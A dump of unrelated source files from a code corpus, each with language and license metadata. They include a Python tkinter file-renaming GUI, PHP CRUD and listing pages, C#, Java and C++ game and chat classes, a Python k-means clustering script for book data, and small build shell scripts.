from renameGames import rename_files_in_folder import tkinter as tk from tkinter import * import tkinter.tix as tix class Application(tk.Tk): def __init__(self): # TODO: format the widgets better and add a label to the application. super().__init__(className="SLIPPI RENAME TOOL") self.minsize(800, 300) self.maxsize(800, 300) self.execute_button = tk.Button(self) self.execute_button["text"] = "Rename Files" self.execute_button["command"] = self.button_clicked self.execute_button.pack(side="right") self.browse_button = tk.Button(self) self.browse_button["text"] = "Browse" self.browse_button["command"] = self.select_directory self.browse_button.pack(side="right") self.dir_textbox = tk.Entry(self, width=200) self.dir_textbox.pack(side="left") self.dir_textbox.delete(0) self.dir_textbox.insert(0, "Enter a Directory to rename:") def select_directory(self): # select the directory. if a directory is selected, fill in the text box with the path string. # if the selection is cancelled, fill the text box with the default string. # why the fuck is the directory selection dialog not working properly............ dir_picker = tix.DirSelectDialog(master=self, command=self.print_dir) dir_picker.popup() def print_dir(self, args): print(f"selected dir: {args}") def button_clicked(self): s = self.dir_textbox.get() if s != '' and s != "Enter a Directory to rename:": rename_files_in_folder(self.dir_textbox.get()) else: rename_files_in_folder("./slp") # add a text area to enter the directory that is to be renamed # add a button that starts the function execution with the directory name in the text area # when the button is pressed, disable the main window and popup a "loading" window that runs while the program is running. app = Application() app.mainloop() ''' import tkinter as tk class Application(tk.Frame): def __init__(self, master=None): super().__init__(master) self.master = master self.pack() self.create_widgets() def create_widgets(self): self.hi_there = tk.Button(self) self.hi_there["text"] = "Hello World\n(click me)" self.hi_there["command"] = self.say_hi self.hi_there.pack(side="top") self.quit = tk.Button(self, text="QUIT", fg="red", command=self.master.destroy) self.quit.pack(side="bottom") def say_hi(self): print("hi there, everyone!") root = tk.Tk() app = Application(master=root) app.mainloop() '''
PHP
UTF-8
1,978
2.609375
3
[]
no_license
<?php class CharitiesAttributesController extends AppController { var $name = 'CharitiesAttributes'; function index() { $this->CharitiesAttribute->recursive = 0; $this->set('charitiesAttributes', $this->paginate()); } function view($id = null) { if (!$id) { $this->Session->setFlash(__('Invalid charities attribute', true)); $this->redirect(array('action' => 'index')); } $this->set('charitiesAttribute', $this->CharitiesAttribute->read(null, $id)); } function add() { if (!empty($this->data)) { $this->CharitiesAttribute->create(); if ($this->CharitiesAttribute->save($this->data)) { $this->Session->setFlash(__('The charities attribute has been saved', true)); $this->redirect(array('action' => 'index')); } else { $this->Session->setFlash(__('The charities attribute could not be saved. Please, try again.', true)); } } } function edit($id = null) { if (!$id && empty($this->data)) { $this->Session->setFlash(__('Invalid charities attribute', true)); $this->redirect(array('action' => 'index')); } if (!empty($this->data)) { if ($this->CharitiesAttribute->save($this->data)) { $this->Session->setFlash(__('The charities attribute has been saved', true)); $this->redirect(array('action' => 'index')); } else { $this->Session->setFlash(__('The charities attribute could not be saved. Please, try again.', true)); } } if (empty($this->data)) { $this->data = $this->CharitiesAttribute->read(null, $id); } } function delete($id = null) { if (!$id) { $this->Session->setFlash(__('Invalid id for charities attribute', true)); $this->redirect(array('action'=>'index')); } if ($this->CharitiesAttribute->delete($id)) { $this->Session->setFlash(__('Charities attribute deleted', true)); $this->redirect(array('action'=>'index')); } $this->Session->setFlash(__('Charities attribute was not deleted', true)); $this->redirect(array('action' => 'index')); } } ?>
PHP
UTF-8
1,771
2.78125
3
[]
no_license
<?php $id = $_GET['id']; $pdo = new PDO("mysql:host=localhost; dbname=as", "root",""); $sql = "SELECT * FROM list WHERE id=:id"; $statement = $pdo->prepare($sql); $statement->bindParam(":id",$id); $result = $statement->execute(); $list = $statement->fetchAll(PDO::FETCH_ASSOC); ?> <!doctype html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> <link rel="stylesheet" href="style.css"> </head> <body> <div class="container"> <table class="table"> <thead> <tr> <th>Id</th> <th>Surname</th> <th>Name</th> <th>Patronymic</th> <th>Birthday</th> <th>Department</th> <th>Position</th> <th>Type_person</th> <th>Salary</th> </tr> </thead> <tbody> <?php foreach ($list as $value):?> <tr> <td><?= $value['id'];?></td> <td><?= $value['surname'];?></td> <td><?= $value['name'];?></td> <td><?= $value['patronymic'];?></td> <td><?= $value['birthday'];?></td> <td><?= $value['department'];?></td> <td><?= $value['position'];?></td> <td><?= $value['type_person'];?></td> <td><?= $value['salary'];?></td> </tr> <?php endforeach;?> </tbody> </table> </div> <div class="back"> <a href="index.php">Back</a> </div> </body> </html>
C#
UTF-8
1,438
3.375
3
[]
no_license
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace UnDungeonLibrary { public class Character { private int _life; public string Name { get; set; } public int HitChance { get; set; } public int Block { get; set; } public int MaxLife { get; set; } public int Life { get { return _life; } set { _life = value <= MaxLife ? value : MaxLife; }// end set }// end Life //Even though we won't be making CHARACTER OBJECTS, we still want a ctor to use as a foundation for child classes. public Character(string name, int hitChance, int block, int maxLife, int life) { Name = name; HitChance = hitChance; Block = block; MaxLife = maxLife; Life = life; } // FQCTOR public virtual int CalcBlock() { return Block; } public virtual int CalcHitChance() { return HitChance; } //Because we have no way to calculate damage in this class, but both child classes will need to be able to do so, we will create some base functionality here that we will override in each child: public virtual int CalcDamage() { return 0; } } }
Java
UTF-8
1,355
2.515625
3
[]
no_license
package com.voodie.domain.election; import com.voodie.domain.foodie.Foodie; import javax.ejb.Stateless; import javax.persistence.EntityManager; import javax.persistence.NoResultException; import javax.persistence.PersistenceContext; @Stateless public class VotingDao { @PersistenceContext protected EntityManager em; public Vote findByUserAndCandidate(Foodie foodie, Candidate candidate){ Vote vote = null; String sql = "select v from Vote v where v.foodie = :foodie and v.candidate = :candidate"; try{ vote = (Vote)em.createQuery(sql) .setParameter("foodie", foodie) .setParameter("candidate", candidate) .getSingleResult(); }catch(NoResultException e){ } return vote; } public Long getNumberOfVotesForCandidate(Long candidate){ String sql = "select count(*) from Vote where candidate.id = :candidate"; return (Long) em.createQuery(sql) .setParameter("candidate", candidate) .getSingleResult(); } public Long getNumberOfVotesInElection(Long election){ String sql = "select count(v) from Vote v where v.candidate.election.id = :election"; return (Long) em.createQuery(sql) .setParameter("election", election) .getSingleResult(); } }
Shell
UTF-8
546
3.40625
3
[ "BSD-2-Clause", "BSD-3-Clause" ]
permissive
#!/usr/bin/env bash for filename in tfbridge/providers/*.go; do name=`basename ${filename} .go` $(cat download-dependencies.txt | grep terraform-provider-${name}) echo "Building plugin for ${name}" time go build -buildmode=plugin -o dist/${name}.so tfbridge/providers/${name}.go if [[ $? -ne 0 ]]; then echo "Build plugin for ${name} failed; skipping" continue fi echo "Packaging plugin for ${name}" cd dist/ zip ${name}.zip main ${name}.so cd .. rm dist/${name}.so done rm dist/main
Python
UTF-8
5,429
3.375
3
[]
no_license
""" @file : 008-用kmeans对豆瓣读书数据聚类.py @author : xiaolu @time1 : 2019-05-11 """ import re import string import jieba import pandas as pd import numpy as np from sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer from sklearn.cluster import KMeans from collections import Counter # ------------------去掉无用字符,去除停用词等------------------------ # 加载停用词 with open("data/stop_words.utf8", encoding="utf8") as f: stopword_list = f.readlines() def tokenize_text(text): tokens = jieba.lcut(text) tokens = [token.strip() for token in tokens] return tokens def remove_special_characters(text): tokens = tokenize_text(text) pattern = re.compile('[{}]'.format(re.escape(string.punctuation))) filtered_tokens = filter(None, [pattern.sub('', token) for token in tokens]) filtered_text = ' '.join(filtered_tokens) return filtered_text def remove_stopwords(text): tokens = tokenize_text(text) filtered_tokens = [token for token in tokens if token not in stopword_list] filtered_text = ''.join(filtered_tokens) return filtered_text def normalize_corpus(corpus): normalized_corpus = [] for text in corpus: text = " ".join(jieba.lcut(text)) normalized_corpus.append(text) return normalized_corpus # ----------------------------------------------------------------------- def build_feature_matrix(documents, feature_type='frequency', ngram_range=(1, 1), min_df=0.0, max_df=1.0): # 将文本转成向量 feature_type = feature_type.lower().strip() if feature_type == 'binary': vectorizer = CountVectorizer(binary=True, max_df=max_df, ngram_range=ngram_range) elif feature_type == 'frequency': vectorizer = CountVectorizer(binary=False, min_df=min_df, max_df=max_df, ngram_range=ngram_range) elif feature_type == 'tfidf': vectorizer = TfidfVectorizer() else: raise Exception("滚,你输入的转换类型有问题。") feature_matrix = vectorizer.fit_transform(documents).astype(float) return vectorizer, feature_matrix def k_means(feature_matrix, num_clusters=10): # 进行聚类。指定聚为10类 km = KMeans(n_clusters=num_clusters, max_iter=10000) km.fit(feature_matrix) clusters = km.labels_ return km, clusters def get_cluster_data(clustering_obj, book_data, feature_names, num_clusters, topn_features=10): cluster_details = {} # 获取每个簇的中心点,然后得到它在各个特征的值 ordered_centroids = clustering_obj.cluster_centers_.argsort()[:, ::-1] for cluster_num in range(num_clusters): cluster_details[cluster_num] = {} # 获取每个簇中的文本数量 cluster_details[cluster_num]['cluster_num'] = cluster_num # 获取前多少个重要的特征 key_features = [feature_names[index] for index in ordered_centroids[cluster_num, :topn_features]] cluster_details[cluster_num]['key_features'] = key_features books = book_data[book_data['Cluster'] == cluster_num]['title'].values.tolist() cluster_details[cluster_num]['books'] = books return cluster_details def print_cluster_data(cluster_data): # print cluster details for cluster_num, cluster_details in cluster_data.items(): print('Cluster {} details:'.format(cluster_num)) print('-' * 20) print('Key features:', cluster_details['key_features']) print('book in this cluster:') print(', '.join(cluster_details['books'])) print('=' * 40) if __name__ == '__main__': # 开始走起 book_data = pd.read_csv('./data/data.csv') print(book_data.head()) # 查看一下前5行数据 book_title = book_data['title'].tolist() # 把"title"所对应的那一列转为列表 book_content = book_data['content'].tolist() print("书名:", book_title[10]) print("书的内容:", book_content[10][: 10]) # 只看第10本书内容的前10个字 # 对内容进行处理 norm_book_content = normalize_corpus(book_content) # 对内容建立特征矩阵 vectorizer, feature_matrix = build_feature_matrix(norm_book_content, feature_type='tfidf', min_df=0.2, max_df=0.9, ngram_range=(1, 2)) # print(feature_matrix.shape) # 转换后的矩阵规格 (2822, 16281) # print(vectorizer.get_feature_names()) # 也就是将那些词作为特征 # print("看一下前五个文本转为向量的样子:", feature_matrix[:5]) feature_names = vectorizer.get_feature_names() num_clusters = 10 km_obj, clusters = k_means(feature_matrix=feature_matrix, num_clusters=num_clusters) book_data['Cluster'] = clusters # 把咱们聚类的结果放在原始数据的一列中 # 获取每个cluster的数量 c = Counter(clusters) print(c.items()) cluster_data = get_cluster_data(clustering_obj=km_obj, book_data=book_data, feature_names=feature_names, num_clusters=num_clusters, topn_features=5) print_cluster_data(cluster_data)
C++
UTF-8
1,820
3.34375
3
[]
no_license
#ifndef GAME_STATE_MANAGER_HPP #define GAME_STATE_MANAGER_HPP #include <unordered_map> #include <memory> #include "IGameState.hpp" #include <SFML/Window/Event.hpp> #include <typeindex> #include <iostream> namespace me { class AssetManager; /// Keeps track of the currently active game state. /// Primarily used to direct update loop calls to the right state. class GameStateManager { private: AssetManager *m_assetManager; IGameState *m_currentState; std::unordered_map<std::type_index, std::unique_ptr<IGameState> > m_states; public: template <typename T> void transitionTo(); template <typename T, typename... Args> typename std::enable_if<std::is_base_of<IGameState, T>::value, T*>::type createState(Args&&... args); void handleWindowEvent(const sf::Event &evt); void continuousUpdate(const sf::Time &timeElapsed); void fixedUpdate(); void draw(sf::RenderTarget& target, sf::RenderStates states) const; GameStateManager(AssetManager *assetManager); ~GameStateManager(); }; template <typename T> void GameStateManager::transitionTo() { std::type_index index(typeid(T)); if (m_states.count(index) > 0) { m_currentState->onTransitionOut(); m_currentState = m_states.at(index).get(); m_currentState->onTransitionIn(); } } template <typename T, typename... Args> typename std::enable_if<std::is_base_of<IGameState, T>::value, T*>::type GameStateManager::createState(Args&&... args) { std::type_index index(typeid(T)); T *state = new T(args...); state->registerAssetManager(m_assetManager); state->registerStateManager(this); m_states[index] = std::unique_ptr<T>(state); if (!m_currentState) { m_currentState = state; m_currentState->onTransitionIn(); } return state; } } #endif //GAME_STATE_MANAGER_HPP
Java
UTF-8
9,759
2.5
2
[ "MIT" ]
permissive
package br.fatec.tank; import java.awt.AlphaComposite; import java.awt.Color; import java.awt.Dimension; import java.awt.Font; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.FocusEvent; import java.awt.event.FocusListener; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.awt.event.MouseListener; import javax.swing.BorderFactory; import javax.swing.JButton; import javax.swing.JInternalFrame; import javax.swing.JPanel; import javax.swing.JScrollPane; import javax.swing.JTextArea; import javax.swing.JTextField; import javax.swing.SwingConstants; import javax.swing.UIManager; import javax.swing.border.BevelBorder; import javax.swing.border.Border; import javax.swing.plaf.basic.BasicScrollBarUI; import net.miginfocom.swing.MigLayout; import javax.swing.ImageIcon; import javax.swing.JLabel; public class Chat { private JInternalFrame chat; private JButton minimizeBtn; private JScrollPane chatStreamScroll; private JTextField messageField; private JTextArea chatStream; private JButton btnEnviar; private JPanel chatPanel; private Font verdana = new Font("Verdana", Font.PLAIN, 12); private Font verdana10 = new Font("Verdana", Font.PLAIN, 10); private Color baseColor = new Color(76,88,68); private Color scrollBgColor = new Color(90, 105, 82); private Color contrastColor = new Color(62,70,55); private int posX=0,posY=0; private Border buttonBorderLowered = BorderFactory.createCompoundBorder(BorderFactory.createSoftBevelBorder(0), BorderFactory.createEmptyBorder(2, 10, 2, 10)); private Border buttonBorderRaised = BorderFactory.createCompoundBorder(BorderFactory.createSoftBevelBorder(1), BorderFactory.createEmptyBorder(2, 10, 2, 10)); private Border closeBtnBorderLowered = BorderFactory.createCompoundBorder(BorderFactory.createSoftBevelBorder(0), BorderFactory.createEmptyBorder(0, 0, 0, 0)); private Border closeBtnBorderRaised = BorderFactory.createCompoundBorder(BorderFactory.createSoftBevelBorder(1), BorderFactory.createEmptyBorder(0, 0, 0, 0)); private Border loweredLevelBorder = BorderFactory.createSoftBevelBorder(BevelBorder.LOWERED); private JLabel titleLabel; public void setTransparency(boolean s){ if(s == true){ ((MyInternalFrame) chat).setComp(AlphaComposite.getInstance(AlphaComposite.SRC_OVER, 0.4f)); }else{ ((MyInternalFrame) chat).setComp(AlphaComposite.getInstance(AlphaComposite.SRC_OVER, 0.9f)); } } public void openCloseChat(JInternalFrame chat, Arena a){ if(chat.getSize().getHeight() > 35){ minimizeBtn.setIcon(new ImageIcon(Chat.class.getResource("/br/fatec/menus/resources/icons/maximize_ico_16.png"))); chat.setBounds(a.getLargura()-110, a.getAltura()-45, 100, 35); }else{ minimizeBtn.setIcon(new ImageIcon(Chat.class.getResource("/br/fatec/menus/resources/icons/minimize_ico_16.png"))); chat.setBounds(a.getLargura()-310, a.getAltura()-310, 300, 300); } } public String getChatMsg(){ return messageField.getText(); } public void streamMsg(String msg){ chatStream.append(msg + "\n"); chatStream.setCaretPosition(chatStream.getText().length()); } public Chat(Arena a, String title){ chat = new MyInternalFrame("Chat", (a.getLargura()-310),(a.getAltura()-310), 300, 300, 0.5f); chat.setBorder(null); chat.setBackground(baseColor); chat.setDefaultCloseOperation(3); chat.getRootPane().setWindowDecorationStyle(0); chatPanel = new JPanel(); chatPanel.setBackground(baseColor); chatPanel.setBorder(null); chat.setContentPane(chatPanel); chatPanel.setLayout(new MigLayout("", "[grow]", "[24px:24px][grow][]")); /* TITULO */ titleLabel = new JLabel(title); titleLabel.setFont(verdana); titleLabel.setForeground(Color.WHITE); chatPanel.add(titleLabel, "flowx,cell 0 0,growx,aligny center"); /* MINIMIZAR */ minimizeBtn = new JButton(""); minimizeBtn.setFocusable(false); minimizeBtn.setIcon(new ImageIcon(Chat.class.getResource("/br/fatec/menus/resources/icons/minimize_ico_16.png"))); minimizeBtn.setForeground(Color.WHITE); minimizeBtn.setBackground(baseColor); minimizeBtn.setHorizontalAlignment(SwingConstants.RIGHT); minimizeBtn.setBorder(closeBtnBorderLowered); minimizeBtn.setFont(verdana); minimizeBtn.setContentAreaFilled(false); minimizeBtn.setRolloverEnabled(false); minimizeBtn.setFocusPainted(false); minimizeBtn.setFocusable(false); minimizeBtn.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { openCloseChat(chat, a); } }); minimizeBtn.addMouseListener(new MouseListener() { @Override public void mousePressed(MouseEvent e) { minimizeBtn.setBackground(contrastColor); minimizeBtn.setBorder(closeBtnBorderRaised); } @Override public void mouseClicked(MouseEvent e) { // TODO Auto-generated method stub } @Override public void mouseEntered(MouseEvent e) { // TODO Auto-generated method stub } @Override public void mouseExited(MouseEvent e) { // TODO Auto-generated method stub } @Override public void mouseReleased(MouseEvent e) { minimizeBtn.setBackground(baseColor); minimizeBtn.setBorder(closeBtnBorderLowered); } }); chatPanel.add(minimizeBtn, "cell 0 0,alignx trailing,aligny center"); /* STREAM DE MENSAGENS */ chatStream = new JTextArea(); chatStream.setFont(verdana10); chatStream.setEditable(false); chatStream.setEnabled(false); chatStream.setLineWrap(true); chatStream.setCaretColor(Color.white); chatStream.setForeground(Color.white); chatStream.setBackground(contrastColor); chatStream.setBorder(BorderFactory.createEmptyBorder(0, 0, 0, 0)); chatStreamScroll = new JScrollPane(chatStream); chatStreamScroll.getVerticalScrollBar().setBackground(scrollBgColor); chatStreamScroll.getVerticalScrollBar().setBorder(BorderFactory.createEmptyBorder()); chatStreamScroll.setBorder(loweredLevelBorder); UIManager.put("ScrollBar.thumbDarkShadow", new Color(39,48,31)); UIManager.put("ScrollBar.thumbShadow", baseColor); UIManager.put("ScrollBar.thumb", baseColor); UIManager.put("ScrollBar.thumbHighlight", new Color(132,146,126)); chatStreamScroll.getVerticalScrollBar().setUI(new BasicScrollBarUI(){ @Override protected void configureScrollBarColors(){ this.trackColor = scrollBgColor; this.thumbColor = baseColor; this.thumbDarkShadowColor = new Color(39,48,31); this.thumbLightShadowColor = baseColor; this.thumbHighlightColor = new Color(132,146,126); } }); chatStreamScroll.setPreferredSize(new Dimension(250, 80)); chatStreamScroll.setBackground(contrastColor); chatPanel.add(chatStreamScroll, "cell 0 1,grow"); /* CAMPO DE MENSAGEM */ messageField = new JTextField(); messageField.setBackground(contrastColor); messageField.setFont(verdana); messageField.setColumns(10); messageField.setForeground(Color.white); messageField.setCaretColor(Color.white); messageField.setBorder(loweredLevelBorder); messageField.addFocusListener(new FocusListener() { @Override public void focusGained(FocusEvent e) { setTransparency(false); } @Override public void focusLost(FocusEvent e) { setTransparency(true); } }); messageField.addActionListener(new ActionListener(){ public void actionPerformed(ActionEvent e){ a.sendChatMessage(messageField.getText()); messageField.setText(""); } }); chatPanel.add(messageField, "flowx,cell 0 2,growx"); /* BOTAO ENVIAR */ btnEnviar = new JButton("Enviar"); btnEnviar.setForeground(Color.white); btnEnviar.setBackground(baseColor); btnEnviar.setBorder(buttonBorderLowered); btnEnviar.setFont(verdana); btnEnviar.setContentAreaFilled(false); btnEnviar.setFocusable(false); btnEnviar.setRolloverEnabled(false); btnEnviar.setFocusPainted(false); btnEnviar.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { a.sendChatMessage(messageField.getText()); messageField.setText(""); } }); btnEnviar.addMouseListener(new MouseListener() { @Override public void mousePressed(MouseEvent e) { btnEnviar.setBackground(contrastColor); btnEnviar.setBorder(buttonBorderRaised); } @Override public void mouseClicked(MouseEvent e) { // TODO Auto-generated method stub } @Override public void mouseEntered(MouseEvent e) { // TODO Auto-generated method stub } @Override public void mouseExited(MouseEvent e) { // TODO Auto-generated method stub } @Override public void mouseReleased(MouseEvent e) { btnEnviar.setBackground(baseColor); btnEnviar.setBorder(buttonBorderLowered); } }); chatPanel.add(btnEnviar, "cell 0 2"); /* PERMITE ARRASTAR JANELA */ chat.addMouseListener(new MouseAdapter(){ public void mousePressed(MouseEvent e){ setTransparency(false); posX=e.getX()+70; posY=e.getY()+25; } }); chat.addMouseMotionListener(new MouseAdapter(){ public void mouseDragged(MouseEvent evt){ chat.setLocation(evt.getXOnScreen()-posX,evt.getYOnScreen()-posY); } }); ((javax.swing.plaf.basic.BasicInternalFrameUI) chat.getUI()).setNorthPane(null); a.add(chat); } }
Shell
UTF-8
194
2.640625
3
[]
no_license
$1 --> nodeIp $2 --> ipOfNMS ./register.sh $ipOfNMS validating="validating" if [ $5 == $validating ] then ./authenticateNotary.sh $ipOfNMS fi cd .. ./cordaMultiNodeSetup.sh $3 $4